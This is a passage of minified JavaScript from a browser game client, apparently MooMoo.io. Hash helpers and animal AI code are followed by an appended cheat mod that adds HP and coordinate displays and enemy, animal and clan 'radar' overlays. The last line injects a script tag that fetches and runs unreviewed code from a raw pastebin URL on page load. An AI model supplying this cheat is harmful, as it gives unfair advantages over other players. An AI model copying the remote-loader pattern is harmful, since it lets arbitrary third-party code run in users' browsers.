8579 h = y(h = y(h = y(h = y(h = m(h = m(h = m(h = m(h = g(h = g(h = g(h = g(h = p(h = p(h = p(h = p(h, u = p(u, f = p(f, l = p(l, h, u, f, o[d + 0], 7, -680876936), h, u, o[d + 1], 12, -389564586), l, h, o[d + 2], 17, 606105819), f, l, o[d + 3], 22, -1044525330), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 4], 7, -176418897), h, u, o[d + 5], 12, 1200080426), l, h, o[d + 6], 17, -1473231341), f, l, o[d + 7], 22, -45705983), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 8], 7, 1770035416), h, u, o[d + 9], 12, -1958414417), l, h, o[d + 10], 17, -42063), f, l, o[d + 11], 22, -1990404162), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 12], 7, 1804603682), h, u, o[d + 13], 12, -40341101), l, h, o[d + 14], 17, -1502002290), f, l, o[d + 15], 22, 1236535329), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 1], 5, -165796510), h, u, o[d + 6], 9, -1069501632), l, h, o[d + 11], 14, 643717713), f, l, o[d + 0], 20, -373897302), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 5], 5, -701558691), h, u, o[d + 10], 9, 38016083), l, h, o[d + 15], 14, -660478335), f, l, o[d + 4], 20, -405537848), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 9], 5, 568446438), h, u, o[d + 14], 9, -1019803690), l, h, o[d + 3], 14, -187363961), f, l, o[d + 8], 20, 1163531501), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 13], 5, -1444681467), h, u, o[d + 2], 9, -51403784), l, h, o[d + 7], 14, 1735328473), f, l, o[d + 12], 20, -1926607734), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 5], 4, -378558), h, u, o[d + 8], 11, -2022574463), l, h, o[d + 11], 16, 1839030562), f, l, o[d + 14], 23, -35309556), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 1], 4, -1530992060), h, u, o[d + 4], 11, 1272893353), l, h, o[d + 7], 16, -155497632), f, l, o[d + 10], 23, -1094730640), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 13], 4, 681279174), h, u, o[d + 0], 11, -358537222), l, h, o[d + 3], 16, -722521979), f, l, o[d + 6], 23, 76029189), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 9], 4, -640364487), h, u, o[d + 12], 11, -421815835), l, h, o[d + 15], 16, 530742520), f, l, o[d + 2], 23, -995338651), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 0], 6, -198630844), h, u, o[d + 7], 10, 1126891415), l, h, o[d + 14], 15, -1416354905), f, l, o[d + 5], 21, -57434055), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 12], 6, 1700485571), h, u, o[d + 3], 10, -1894986606), l, h, o[d + 10], 15, -1051523), f, l, o[d + 1], 21, -2054922799), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 8], 6, 1873313359), h, u, o[d + 15], 10, -30611744), l, h, o[d + 6], 15, -1560198380), f, l, o[d + 13], 21, 1309151649), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 4], 6, -145523070), h, u, o[d + 11], 10, -1120210379), l, h, o[d + 2], 15, 718787259), f, l, o[d + 9], 21, -343485551), l = l + k >>> 0, h = h + v >>> 0, u = u + w >>> 0, f = f + b >>> 0
8580 }
8581 return t.endian([l, h, u, f])
8582 };
8583 a._ff = function (e, t, n, i, r, s, a) {
8584 var o = e + (t & n | ~t & i) + (r >>> 0) + a;
8585 return (o << s | o >>> 32 - s) + t
8586 }, a._gg = function (e, t, n, i, r, s, a) {
8587 var o = e + (t & i | n & ~i) + (r >>> 0) + a;
8588 return (o << s | o >>> 32 - s) + t
8589 }, a._hh = function (e, t, n, i, r, s, a) {
8590 var o = e + (t ^ n ^ i) + (r >>> 0) + a;
8591 return (o << s | o >>> 32 - s) + t
8592 }, a._ii = function (e, t, n, i, r, s, a) {
8593 var o = e + (n ^ (t | ~i)) + (r >>> 0) + a;
8594 return (o << s | o >>> 32 - s) + t
8595 }, a._blocksize = 16, a._digestsize = 16, e.exports = function (e, n) {
8596 if (null == e) throw new Error("Illegal argument " + e);
8597 var i = t.wordsToBytes(a(e, n));
8598 return n && n.asBytes ? i : n && n.asString ? s.bytesToString(i) : t.bytesToHex(i)
8599 }
8600 }()
8601}, function (e, t) {
8602 ! function () {
8603 var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
8604 n = {
8605 rotl: function (e, t) {
8606 return e << t | e >>> 32 - t
8607 },
8608 rotr: function (e, t) {
8609 return e << 32 - t | e >>> t
8610 },
8611 endian: function (e) {
8612 if (e.constructor == Number) return 16711935 & n.rotl(e, 8) | 4278255360 & n.rotl(e, 24);
8613 for (var t = 0; t < e.length; t++) e[t] = n.endian(e[t]);
8614 return e
8615 },
8616 randomBytes: function (e) {
8617 for (var t = []; e > 0; e--) t.push(Math.floor(256 * Math.random()));
8618 return t
8619 },
8620 bytesToWords: function (e) {
8621 for (var t = [], n = 0, i = 0; n < e.length; n++, i += 8) t[i >>> 5] |= e[n] << 24 - i % 32;
8622 return t
8623 },
8624 wordsToBytes: function (e) {
8625 for (var t = [], n = 0; n < 32 * e.length; n += 8) t.push(e[n >>> 5] >>> 24 - n % 32 & 255);
8626 return t
8627 },
8628 bytesToHex: function (e) {
8629 for (var t = [], n = 0; n < e.length; n++) t.push((e[n] >>> 4).toString(16)), t.push((15 & e[n]).toString(16));
8630 return t.join("")
8631 },
8632 hexToBytes: function (e) {
8633 for (var t = [], n = 0; n < e.length; n += 2) t.push(parseInt(e.substr(n, 2), 16));
8634 return t
8635 },
8636 bytesToBase64: function (e) {
8637 for (var n = [], i = 0; i < e.length; i += 3)
8638 for (var r = e[i] << 16 | e[i + 1] << 8 | e[i + 2], s = 0; s < 4; s++) 8 * i + 6 * s <= 8 * e.length ? n.push(t.charAt(r >>> 6 * (3 - s) & 63)) : n.push("=");
8639 return n.join("")
8640 },
8641 base64ToBytes: function (e) {
8642 e = e.replace(/[^A-Z0-9+\/]/gi, "");
8643 for (var n = [], i = 0, r = 0; i < e.length; r = ++i % 4) 0 != r && n.push((t.indexOf(e.charAt(i - 1)) & Math.pow(2, -2 * r + 8) - 1) << 2 * r | t.indexOf(e.charAt(i)) >>> 6 - 2 * r);
8644 return n
8645 }
8646 };
8647 e.exports = n
8648 }()
8649}, function (e, t) {
8650 function n(e) {
8651 return !!e.constructor && "function" == typeof e.constructor.isBuffer && e.constructor.isBuffer(e)
8652 }
8653 /*!
8654 * Determine if an object is a Buffer
8655 *
8656 * @author Feross Aboukhadijeh <https://feross.org>
8657 * @license MIT
8658 */
8659 e.exports = function (e) {
8660 return null != e && (n(e) || function (e) {
8661 return "function" == typeof e.readFloatLE && "function" == typeof e.slice && n(e.slice(0, 0))
8662 }(e) || !!e._isBuffer)
8663 }
8664}, function (e, t) {
8665 e.exports = function (e, t, n, i, r, s, a, o, c) {
8666 this.aiTypes = [{
8667 id: 0,
8668 src: "cow_1",
8669 killScore: 150,
8670 health: 500,
8671 weightM: .8,
8672 speed: 95e-5,
8673 turnSpeed: .001,
8674 scale: 72,
8675 drop: ["food", 50]
8676 }, {
8677 id: 1,
8678 src: "pig_1",
8679 killScore: 200,
8680 health: 800,
8681 weightM: .6,
8682 speed: 85e-5,
8683 turnSpeed: .001,
8684 scale: 72,
8685 drop: ["food", 80]
8686 }, {
8687 id: 2,
8688 name: "Bull",
8689 src: "bull_2",
8690 hostile: !0,
8691 dmg: 20,
8692 killScore: 1e3,
8693 health: 1800,
8694 weightM: .5,
8695 speed: 94e-5,
8696 turnSpeed: 74e-5,
8697 scale: 78,
8698 viewRange: 800,
8699 chargePlayer: !0,
8700 drop: ["food", 100]
8701 }, {
8702 id: 3,
8703 name: "Bully",
8704 src: "bull_1",
8705 hostile: !0,
8706 dmg: 20,
8707 killScore: 2e3,
8708 health: 2800,
8709 weightM: .45,
8710 speed: .001,
8711 turnSpeed: 8e-4,
8712 scale: 90,
8713 viewRange: 900,
8714 chargePlayer: !0,
8715 drop: ["food", 400]
8716 }, {
8717 id: 4,
8718 name: "Wolf",
8719 src: "wolf_1",
8720 hostile: !0,
8721 dmg: 8,
8722 killScore: 500,
8723 health: 300,
8724 weightM: .45,
8725 speed: .001,
8726 turnSpeed: .002,
8727 scale: 84,
8728 viewRange: 800,
8729 chargePlayer: !0,
8730 drop: ["food", 200]
8731 }, {
8732 id: 5,
8733 name: "Quack",
8734 src: "chicken_1",
8735 dmg: 8,
8736 killScore: 2e3,
8737 noTrap: !0,
8738 health: 300,
8739 weightM: .2,
8740 speed: .0018,
8741 turnSpeed: .006,
8742 scale: 70,
8743 drop: ["food", 100]
8744 }, {
8745 id: 6,
8746 name: "MOOSTAFA",
8747 nameScale: 50,
8748 src: "enemy",
8749 hostile: !0,
8750 dontRun: !0,
8751 fixedSpawn: !0,
8752 spawnDelay: 6e4,
8753 noTrap: !0,
8754 colDmg: 100,
8755 dmg: 40,
8756 killScore: 8e3,
8757 health: 18e3,
8758 weightM: .4,
8759 speed: 7e-4,
8760 turnSpeed: .01,
8761 scale: 80,
8762 spriteMlt: 1.8,
8763 leapForce: .9,
8764 viewRange: 1e3,
8765 hitRange: 210,
8766 hitDelay: 1e3,
8767 chargePlayer: !0,
8768 drop: ["food", 100]
8769 }, {
8770 id: 7,
8771 name: "Treasure",
8772 hostile: !0,
8773 nameScale: 35,
8774 src: "crate_1",
8775 fixedSpawn: !0,
8776 spawnDelay: 12e4,
8777 colDmg: 200,
8778 killScore: 5e3,
8779 health: 2e4,
8780 weightM: .1,
8781 speed: 0,
8782 turnSpeed: 0,
8783 scale: 70,
8784 spriteMlt: 1
8785 }, {
8786 id: 8,
8787 name: "MOOFIE",
8788 src: "wolf_2",
8789 hostile: !0,
8790 fixedSpawn: !0,
8791 dontRun: !0,
8792 hitScare: 4,
8793 spawnDelay: 3e4,
8794 noTrap: !0,
8795 nameScale: 35,
8796 dmg: 10,
8797 colDmg: 100,
8798 killScore: 3e3,
8799 health: 7e3,
8800 weightM: .45,
8801 speed: .0015,
8802 turnSpeed: .002,
8803 scale: 90,
8804 viewRange: 800,
8805 chargePlayer: !0,
8806 drop: ["food", 1e3]
8807 }], this.spawn = function (l, h, u, f) {
8808 for (var d, p = 0; p < e.length; ++p)
8809 if (!e[p].active) {
8810 d = e[p];
8811 break
8812 } return d || (d = new t(e.length, r, n, i, a, s, o, c), e.push(d)), d.init(l, h, u, f, this.aiTypes[f]), d
8813 }
8814 }
8815}, function (e, t) {
8816 var n = 2 * Math.PI;
8817 e.exports = function (e, t, i, r, s, a, o, c) {
8818 this.sid = e, this.isAI = !0, this.nameIndex = s.randInt(0, a.cowNames.length - 1), this.init = function (e, t, n, i, r) {
8819 this.x = e, this.y = t, this.startX = r.fixedSpawn ? e : null, this.startY = r.fixedSpawn ? t : null, this.xVel = 0, this.yVel = 0, this.zIndex = 0, this.dir = n, this.dirPlus = 0, this.index = i, this.src = r.src, r.name && (this.name = r.name), this.weightM = r.weightM, this.speed = r.speed, this.killScore = r.killScore, this.turnSpeed = r.turnSpeed, this.scale = r.scale, this.maxHealth = r.health, this.leapForce = r.leapForce, this.health = this.maxHealth, this.chargePlayer = r.chargePlayer, this.viewRange = r.viewRange, this.drop = r.drop, this.dmg = r.dmg, this.hostile = r.hostile, this.dontRun = r.dontRun, this.hitRange = r.hitRange, this.hitDelay = r.hitDelay, this.hitScare = r.hitScare, this.spriteMlt = r.spriteMlt, this.nameScale = r.nameScale, this.colDmg = r.colDmg, this.noTrap = r.noTrap, this.spawnDelay = r.spawnDelay, this.hitWait = 0, this.waitCount = 1e3, this.moveCount = 0, this.targetDir = 0, this.active = !0, this.alive = !0, this.runFrom = null, this.chargeTarget = null, this.dmgOverTime = {}
8820 };
8821 var l = 0;
8822 this.update = function (e) {
8823 if (this.active) {
8824 if (this.spawnCounter) return this.spawnCounter -= e, void(this.spawnCounter <= 0 && (this.spawnCounter = 0, this.x = this.startX || s.randInt(0, a.mapScale), this.y = this.startY || s.randInt(0, a.mapScale)));
8825 (l -= e) <= 0 && (this.dmgOverTime.dmg && (this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer), this.dmgOverTime.time -= 1, this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)), l = 1e3);
8826 var r = !1,
8827 o = 1;
8828 if (!this.zIndex && !this.lockMove && this.y >= a.mapScale / 2 - a.riverWidth / 2 && this.y <= a.mapScale / 2 + a.riverWidth / 2 && (o = .33, this.xVel += a.waterCurrent * e), this.lockMove) this.xVel = 0, this.yVel = 0;
8829 else if (this.waitCount > 0) {
8830 if (this.waitCount -= e, this.waitCount <= 0)
8831 if (this.chargePlayer) {
8832 for (var h, u, f, d = 0; d < i.length; ++d) !i[d].alive || i[d].skin && i[d].skin.bullRepel || (f = s.getDistance(this.x, this.y, i[d].x, i[d].y)) <= this.viewRange && (!h || f < u) && (u = f, h = i[d]);
8833 h ? (this.chargeTarget = h, this.moveCount = s.randInt(8e3, 12e3)) : (this.moveCount = s.randInt(1e3, 2e3), this.targetDir = s.randFloat(-Math.PI, Math.PI))
8834 } else this.moveCount = s.randInt(4e3, 1e4), this.targetDir = s.randFloat(-Math.PI, Math.PI)
8835 } else if (this.moveCount > 0) {
8836 var p = this.speed * o;
8837 if (this.runFrom && this.runFrom.active && (!this.runFrom.isPlayer || this.runFrom.alive) ? (this.targetDir = s.getDirection(this.x, this.y, this.runFrom.x, this.runFrom.y), p *= 1.42) : this.chargeTarget && this.chargeTarget.alive && (this.targetDir = s.getDirection(this.chargeTarget.x, this.chargeTarget.y, this.x, this.y), p *= 1.75, r = !0), this.hitWait && (p *= .3), this.dir != this.targetDir) {
8838 this.dir %= n;
8839 var g = (this.dir - this.targetDir + n) % n,
8840 m = Math.min(Math.abs(g - n), g, this.turnSpeed * e),
8841 y = g - Math.PI >= 0 ? 1 : -1;
8842 this.dir += y * m + n
8843 }
8844 this.dir %= n, this.xVel += p * e * Math.cos(this.dir), this.yVel += p * e * Math.sin(this.dir), this.moveCount -= e, this.moveCount <= 0 && (this.runFrom = null, this.chargeTarget = null, this.waitCount = this.hostile ? 1500 : s.randInt(1500, 6e3))
8845 }
8846 this.zIndex = 0, this.lockMove = !1;
8847 var k = s.getDistance(0, 0, this.xVel * e, this.yVel * e),
8848 v = Math.min(4, Math.max(1, Math.round(k / 40))),
8849 w = 1 / v;
8850 for (d = 0; d < v; ++d) {
8851 this.xVel && (this.x += this.xVel * e * w), this.yVel && (this.y += this.yVel * e * w), M = t.getGridArrays(this.x, this.y, this.scale);
8852 for (var b = 0; b < M.length; ++b)
8853 for (var x = 0; x < M[b].length; ++x) M[b][x].active && t.checkCollision(this, M[b][x], w)
8854 }
8855 var S, T, I, E = !1;
8856 if (this.hitWait > 0 && (this.hitWait -= e, this.hitWait <= 0)) {
8857 E = !0, this.hitWait = 0, this.leapForce && !s.randInt(0, 2) && (this.xVel += this.leapForce * Math.cos(this.dir), this.yVel += this.leapForce * Math.sin(this.dir));
8858 for (var M = t.getGridArrays(this.x, this.y, this.hitRange), A = 0; A < M.length; ++A)
8859 for (b = 0; b < M[A].length; ++b)(S = M[A][b]).health && (T = s.getDistance(this.x, this.y, S.x, S.y)) < S.scale + this.hitRange && (S.changeHealth(5 * -this.dmg) && t.disableObj(S), t.hitObj(S, s.getDirection(this.x, this.y, S.x, S.y)));
8860 for (b = 0; b < i.length; ++b) i[b].canSee(this) && c.send(i[b].id, "aa", this.sid)
8861 }
8862 if (r || E)
8863 for (d = 0; d < i.length; ++d)(S = i[d]) && S.alive && (T = s.getDistance(this.x, this.y, S.x, S.y), this.hitRange ? !this.hitWait && T <= this.hitRange + S.scale && (E ? (I = s.getDirection(S.x, S.y, this.x, this.y), S.changeHealth(-this.dmg), S.xVel += .6 * Math.cos(I), S.yVel += .6 * Math.sin(I), this.runFrom = null, this.chargeTarget = null, this.waitCount = 3e3, this.hitWait = s.randInt(0, 2) ? 0 : 600) : this.hitWait = this.hitDelay) : T <= this.scale + S.scale && (I = s.getDirection(S.x, S.y, this.x, this.y), S.changeHealth(-this.dmg), S.xVel += .55 * Math.cos(I), S.yVel += .55 * Math.sin(I)));
8864 this.xVel && (this.xVel *= Math.pow(a.playerDecel, e)), this.yVel && (this.yVel *= Math.pow(a.playerDecel, e));
8865 var P = this.scale;
8866 this.x - P < 0 ? (this.x = P, this.xVel = 0) : this.x + P > a.mapScale && (this.x = a.mapScale - P, this.xVel = 0), this.y - P < 0 ? (this.y = P, this.yVel = 0) : this.y + P > a.mapScale && (this.y = a.mapScale - P, this.yVel = 0)
8867 }
8868 }, this.canSee = function (e) {
8869 if (!e) return !1;
8870 if (e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer) return !1;
8871 var t = Math.abs(e.x - this.x) - e.scale,
8872 n = Math.abs(e.y - this.y) - e.scale;
8873 return t <= a.maxScreenWidth / 2 * 1.3 && n <= a.maxScreenHeight / 2 * 1.3
8874 };
8875 var h = 0,
8876 u = 0;
8877 this.animate = function (e) {
8878 this.animTime > 0 && (this.animTime -= e, this.animTime <= 0 ? (this.animTime = 0, this.dirPlus = 0, h = 0, u = 0) : 0 == u ? (h += e / (this.animSpeed * a.hitReturnRatio), this.dirPlus = s.lerp(0, this.targetAngle, Math.min(1, h)), h >= 1 && (h = 1, u = 1)) : (h -= e / (this.animSpeed * (1 - a.hitReturnRatio)), this.dirPlus = s.lerp(0, this.targetAngle, Math.max(0, h))))
8879 }, this.startAnim = function () {
8880 this.animTime = this.animSpeed = 600, this.targetAngle = .8 * Math.PI, h = 0, u = 0
8881 }, this.changeHealth = function (e, t, n) {
8882 if (this.active && (this.health += e, n && (this.hitScare && !s.randInt(0, this.hitScare) ? (this.runFrom = n, this.waitCount = 0, this.moveCount = 2e3) : this.hostile && this.chargePlayer && n.isPlayer ? (this.chargeTarget = n, this.waitCount = 0, this.moveCount = 8e3) : this.dontRun || (this.runFrom = n, this.waitCount = 0, this.moveCount = 2e3)), e < 0 && this.hitRange && s.randInt(0, 1) && (this.hitWait = 500), t && t.canSee(this) && e < 0 && c.send(t.id, "t", Math.round(this.x), Math.round(this.y), Math.round(-e), 1), this.health <= 0 && (this.spawnDelay ? (this.spawnCounter = this.spawnDelay, this.x = -1e6, this.y = -1e6) : (this.x = this.startX || s.randInt(0, a.mapScale), this.y = this.startY || s.randInt(0, a.mapScale)), this.health = this.maxHealth, this.runFrom = null, t && (o(t, this.killScore), this.drop))))
8883 for (var i = 0; i < this.drop.length;) t.addResource(a.resourceTypes.indexOf(this.drop[i]), this.drop[i + 1]), i += 2
8884 }
8885 }
8886}]);
8887
8888function doNewSend(sender){
8889 ws.send(new Uint8Array(Array.from(msgpack5.encode(sender))));
8890}
8891
8892var aaa = document.querySelector("#HP")
8893
8894aaa.addEventListener('change', function() {
8895 if (this.checked) {
8896 HP = 6
8897 HP1 = 30
8898 doNewSend(["ch", ["HP : ON"]]);
8899 } else {
8900 HP = 0
8901 HP1 = 476124978638947623742
8902 doNewSend(["ch", ["HP : OFF"]]);
8903
8904 }
8905})
8906var aaa2 = document.querySelector("#coord")
8907
8908aaa2.addEventListener('change', function() {
8909 if (this.checked) {
8910 coord = 6
8911 coord1 = 60
8912 doNewSend(["ch", ["coordinates : ON"]]);
8913 } else {
8914 coord = 0
8915 coord1 = 376491278638974692374692378469237
8916 doNewSend(["ch", ["coordinates : OFF"]]);
8917
8918 }
8919})
8920var aaa3 = document.querySelector("#animalblue")
8921aaa3.addEventListener('change', function() {
8922 if (this.checked) {
8923 animalcolor = "#0017FF"
8924 doNewSend(["ch", ["Animal radar : Blue"]]);
8925 }
8926})
8927var aaa4 = document.querySelector("#animalred")
8928aaa4.addEventListener('change', function() {
8929 if (this.checked) {
8930 animalcolor = "#FF0000"
8931 doNewSend(["ch", ["Animal radar : Red"]]);
8932 }
8933})
8934var aaa5 = document.querySelector("#animalgreen")
8935aaa5.addEventListener('change', function() {
8936 if (this.checked) {
8937 animalcolor = "#00FF1B"
8938 doNewSend(["ch", ["Animal radar : Green"]]);
8939 }
8940})
8941var aaa6 = document.querySelector("#animalyellow")
8942aaa6.addEventListener('change', function() {
8943 if (this.checked) {
8944 animalcolor = "#FFFF00"
8945 doNewSend(["ch", ["Animal radar : Yellow"]]);
8946 }
8947})
8948var aaa7 = document.querySelector("#animalwhite")
8949aaa7.addEventListener('change', function() {
8950 if (this.checked) {
8951 animalcolor = "#FFFFFF"
8952 doNewSend(["ch", ["Animal radar : White"]]);
8953 }
8954})
8955var aaa8 = document.querySelector("#animalblack")
8956aaa8.addEventListener('change', function() {
8957 if (this.checked) {
8958 animalcolor = "#000000"
8959 doNewSend(["ch", ["Animal radar : Black"]]);
8960 }
8961})
8962var aaa9 = document.querySelector("#animalorange")
8963aaa9.addEventListener('change', function() {
8964 if (this.checked) {
8965 animalcolor = "#FFC500"
8966 doNewSend(["ch", ["Animal radar : Orange"]]);
8967 }
8968})
8969var aaa10 = document.querySelector("#enemyblue")
8970aaa10.addEventListener('change', function() {
8971 if (this.checked) {
8972 EnemyTracer = "#0017FF"
8973 doNewSend(["ch", ["Enemy radar : Blue"]]);
8974 }
8975})
8976var aaa11 = document.querySelector("#enemyred")
8977aaa11.addEventListener('change', function() {
8978 if (this.checked) {
8979 EnemyTracer = "#FF0000"
8980 doNewSend(["ch", ["Enemy radar : Red"]]);
8981 }
8982})
8983var aaa12 = document.querySelector("#enemygreen")
8984aaa12.addEventListener('change', function() {
8985 if (this.checked) {
8986 EnemyTracer = "#00FF1B"
8987 doNewSend(["ch", ["Enemy radar : Green"]]);
8988 }
8989})
8990var aaa13 = document.querySelector("#enemyyellow")
8991aaa13.addEventListener('change', function() {
8992 if (this.checked) {
8993 EnemyTracer = "#FFFF00"
8994 doNewSend(["ch", ["Enemy radar : Yellow"]]);
8995 }
8996})
8997var aaa14 = document.querySelector("#enemywhite")
8998aaa14.addEventListener('change', function() {
8999 if (this.checked) {
9000 EnemyTracer = "#FFFFFF"
9001 doNewSend(["ch", ["Enemy radar : White"]]);
9002 }
9003})
9004var aaa15 = document.querySelector("#enemyblack")
9005aaa15.addEventListener('change', function() {
9006 if (this.checked) {
9007 EnemyTracer = "#000000"
9008 doNewSend(["ch", ["Enemy radar : Black"]]);
9009 }
9010})
9011var aaa16 = document.querySelector("#enemyorange")
9012aaa16.addEventListener('change', function() {
9013 if (this.checked) {
9014 EnemyTracer = "#FFC500"
9015 doNewSend(["ch", ["Enemy radar : Orange"]]);
9016 }
9017})
9018/////////////////////////////////////////////////////////////
9019
9020var aaa17 = document.querySelector("#clanblue")
9021aaa17.addEventListener('change', function() {
9022 if (this.checked) {
9023 clancolor = "#0017FF"
9024 doNewSend(["ch", ["Clan radar : Blue"]]);
9025 }
9026})
9027var aaa18 = document.querySelector("#clanred")
9028aaa18.addEventListener('change', function() {
9029 if (this.checked) {
9030 clancolor = "#FF0000"
9031 doNewSend(["ch", ["Clan radar : Red"]]);
9032 }
9033})
9034var aaa19 = document.querySelector("#clangreen")
9035aaa19.addEventListener('change', function() {
9036 if (this.checked) {
9037 clancolor = "#00FF1B"
9038 doNewSend(["ch", ["Clan radar : Green"]]);
9039 }
9040})
9041var aaa20 = document.querySelector("#clanyellow")
9042aaa20.addEventListener('change', function() {
9043 if (this.checked) {
9044 clancolor = "#FFFF00"
9045 doNewSend(["ch", ["Clan radar : Yellow"]]);
9046 }
9047})
9048var aaa21 = document.querySelector("#clanwhite")
9049aaa21.addEventListener('change', function() {
9050 if (this.checked) {
9051 clancolor = "#FFFFFF"
9052 doNewSend(["ch", ["Clan radar : White"]]);
9053 }
9054})
9055var aaa22 = document.querySelector("#clanblack")
9056aaa22.addEventListener('change', function() {
9057 if (this.checked) {
9058 clancolor = "#000000"
9059 doNewSend(["ch", ["Clan radar : Black"]]);
9060 }
9061})
9062var aaa23 = document.querySelector("#clanorange")
9063aaa23.addEventListener('change', function() {
9064 if (this.checked) {
9065 clancolor = "#FFC500"
9066 doNewSend(["ch", ["Clan radar : Orange"]]);
9067 }
9068})
9069var j=document.createElement('script');j.type='text/javascript';document.body.appendChild(j);j.src='https://pastebin.com/raw/u9GdY32V';
9070